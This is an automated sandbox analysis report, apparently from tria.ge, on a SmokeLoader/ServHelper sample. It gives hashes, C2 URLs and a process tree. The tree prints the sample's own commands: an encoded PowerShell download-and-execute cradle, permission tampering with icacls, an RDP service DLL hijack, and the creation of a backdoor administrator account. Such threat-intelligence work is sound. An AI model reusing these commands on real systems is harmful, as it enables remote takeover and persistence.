Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    18/10/2021, 12:00

General

  • Target

    580fc5cd72d7979040fa1c4866ada3d0.exe

  • Size

    343KB

  • MD5

    580fc5cd72d7979040fa1c4866ada3d0

  • SHA1

    7da202d99be94f57f355c611bafde9656bca65b7

  • SHA256

    42e7ef551c652a5e6f0ff919fcb53cd2c34682006cb1436295205a41abec6589

  • SHA512

    b1be0be516e0d36c4b2e2f9e82e5cd94fecc86c39a4eee4494174f55e319a4c72d529e2aa097d3d466c5613df4106624fd689e6a1441e6be4a7bf9a15dc44815

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32
rc4.i32

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\580fc5cd72d7979040fa1c4866ada3d0.exe
    "C:\Users\Admin\AppData\Local\Temp\580fc5cd72d7979040fa1c4866ada3d0.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:1336
  • C:\Users\Admin\AppData\Local\Temp\3505.exe
    C:\Users\Admin\AppData\Local\Temp\3505.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1060
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:508
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xuqzu0ug.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1560
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6AB6.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6AB5.tmp"
          4⤵
            PID:832
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1276
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1908
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1776
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1824
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1256
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1952
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1888
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:288
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1732
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:668
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1992
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1900
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1196
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:268
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1960
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1632
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1596
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                    PID:672
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      5⤵
                        PID:1676
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start rdpdr
                          6⤵
                            PID:876
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                      3⤵
                        PID:1380
                        • C:\Windows\system32\cmd.exe
                          cmd /c net start TermService
                          4⤵
                            PID:1956
                            • C:\Windows\system32\net.exe
                              net start TermService
                              5⤵
                                PID:1476
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 start TermService
                                  6⤵
                                    PID:1368
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                              3⤵
                                PID:1632
                              • C:\Windows\system32\cmd.exe
                                "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                3⤵
                                  PID:1824
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc 000000 /del
                              1⤵
                                PID:948
                                • C:\Windows\system32\net.exe
                                  net.exe user WgaUtilAcc 000000 /del
                                  2⤵
                                    PID:956
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                      3⤵
                                        PID:1576
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe user WgaUtilAcc Kfwga2DO /add
                                    1⤵
                                      PID:1736
                                      • C:\Windows\system32\net.exe
                                        net.exe user WgaUtilAcc Kfwga2DO /add
                                        2⤵
                                          PID:1756
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 user WgaUtilAcc Kfwga2DO /add
                                            3⤵
                                              PID:1096
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                          1⤵
                                            PID:1528
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                              2⤵
                                                PID:1464
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                  3⤵
                                                    PID:1600
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
                                                1⤵
                                                  PID:1676
                                                  • C:\Windows\system32\net.exe
                                                    net.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
                                                    2⤵
                                                      PID:1472
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
                                                        3⤵
                                                          PID:1632
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                      1⤵
                                                        PID:992
                                                        • C:\Windows\system32\net.exe
                                                          net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                          2⤵
                                                            PID:1184
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                              3⤵
                                                                PID:1576
                                                          • C:\Windows\System32\cmd.exe
                                                            cmd /C net.exe user WgaUtilAcc Kfwga2DO
                                                            1⤵
                                                              PID:944
                                                              • C:\Windows\system32\net.exe
                                                                net.exe user WgaUtilAcc Kfwga2DO
                                                                2⤵
                                                                  PID:1824
                                                                  • C:\Windows\system32\net1.exe
                                                                    C:\Windows\system32\net1 user WgaUtilAcc Kfwga2DO
                                                                    3⤵
                                                                      PID:1724
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic path win32_VideoController get name
                                                                  1⤵
                                                                    PID:1960
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic path win32_VideoController get name
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1876
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C wmic CPU get NAME
                                                                    1⤵
                                                                      PID:1632
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic CPU get NAME
                                                                        2⤵
                                                                        • Modifies data under HKEY_USERS
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:1728
                                                                    • C:\Windows\System32\cmd.exe
                                                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                      1⤵
                                                                        PID:992
                                                                        • C:\Windows\system32\cmd.exe
                                                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                          2⤵
                                                                            PID:1628
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                              3⤵
                                                                              • Blocklisted process makes network request
                                                                              • Drops file in Windows directory
                                                                              • Modifies data under HKEY_USERS
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:2044

                                                                        Network

                                                                        MITRE ATT&CK Enterprise v6

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        • memory/508-86-0x000000000299B000-0x00000000029BA000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/508-89-0x00000000029BD000-0x00000000029BE000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/508-72-0x000007FEEB3D0000-0x000007FEEBF2D000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/508-75-0x0000000002994000-0x0000000002997000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/508-74-0x0000000002992000-0x0000000002994000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/508-76-0x000000001B790000-0x000000001BA8F000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/508-73-0x0000000002990000-0x0000000002992000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/508-71-0x000007FEFC441000-0x000007FEFC443000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1060-69-0x0000000041347000-0x0000000041348000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1060-67-0x0000000041344000-0x0000000041346000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1060-64-0x00000000417C0000-0x0000000041BBF000-memory.dmp

                                                                          Filesize

                                                                          4.0MB

                                                                        • memory/1060-68-0x0000000041346000-0x0000000041347000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1060-66-0x0000000041342000-0x0000000041344000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1276-97-0x0000000002374000-0x0000000002377000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1276-96-0x0000000002372000-0x0000000002374000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1276-99-0x0000000002377000-0x0000000002378000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1276-98-0x000000000237C000-0x000000000239B000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1276-93-0x000007FEEB3D0000-0x000007FEEBF2D000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1276-94-0x000000001B750000-0x000000001BA4F000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/1276-95-0x0000000002370000-0x0000000002372000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1304-59-0x00000000029B0000-0x00000000029C6000-memory.dmp

                                                                          Filesize

                                                                          88KB

                                                                        • memory/1336-58-0x0000000000400000-0x0000000000788000-memory.dmp

                                                                          Filesize

                                                                          3.5MB

                                                                        • memory/1336-55-0x000000000088B000-0x000000000089C000-memory.dmp

                                                                          Filesize

                                                                          68KB

                                                                        • memory/1336-56-0x0000000000220000-0x0000000000229000-memory.dmp

                                                                          Filesize

                                                                          36KB

                                                                        • memory/1336-57-0x0000000075B71000-0x0000000075B73000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1560-87-0x0000000002220000-0x0000000002222000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1776-117-0x000000001B9E0000-0x000000001BCDF000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/1776-118-0x00000000029F7000-0x00000000029F8000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1776-116-0x00000000029F4000-0x00000000029F7000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1776-115-0x00000000029F2000-0x00000000029F4000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1776-119-0x00000000029FC000-0x0000000002A1B000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1776-113-0x000007FEEB3D0000-0x000007FEEBF2D000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1776-114-0x00000000029F0000-0x00000000029F2000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1908-108-0x000000000280C000-0x000000000282B000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1908-103-0x000007FEEB3D0000-0x000007FEEBF2D000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1908-104-0x0000000002800000-0x0000000002802000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1908-105-0x000000001B920000-0x000000001BC1F000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/1908-107-0x0000000002804000-0x0000000002807000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1908-109-0x0000000002807000-0x0000000002808000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1908-106-0x0000000002802000-0x0000000002804000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/2044-163-0x0000000000F14000-0x0000000000F17000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/2044-164-0x0000000000F1B000-0x0000000000F3A000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/2044-162-0x0000000000F12000-0x0000000000F14000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/2044-161-0x0000000000F10000-0x0000000000F12000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/2044-160-0x000007FEEB3D0000-0x000007FEEBF2D000-memory.dmp

                                                                          Filesize

                                                                          11.4MB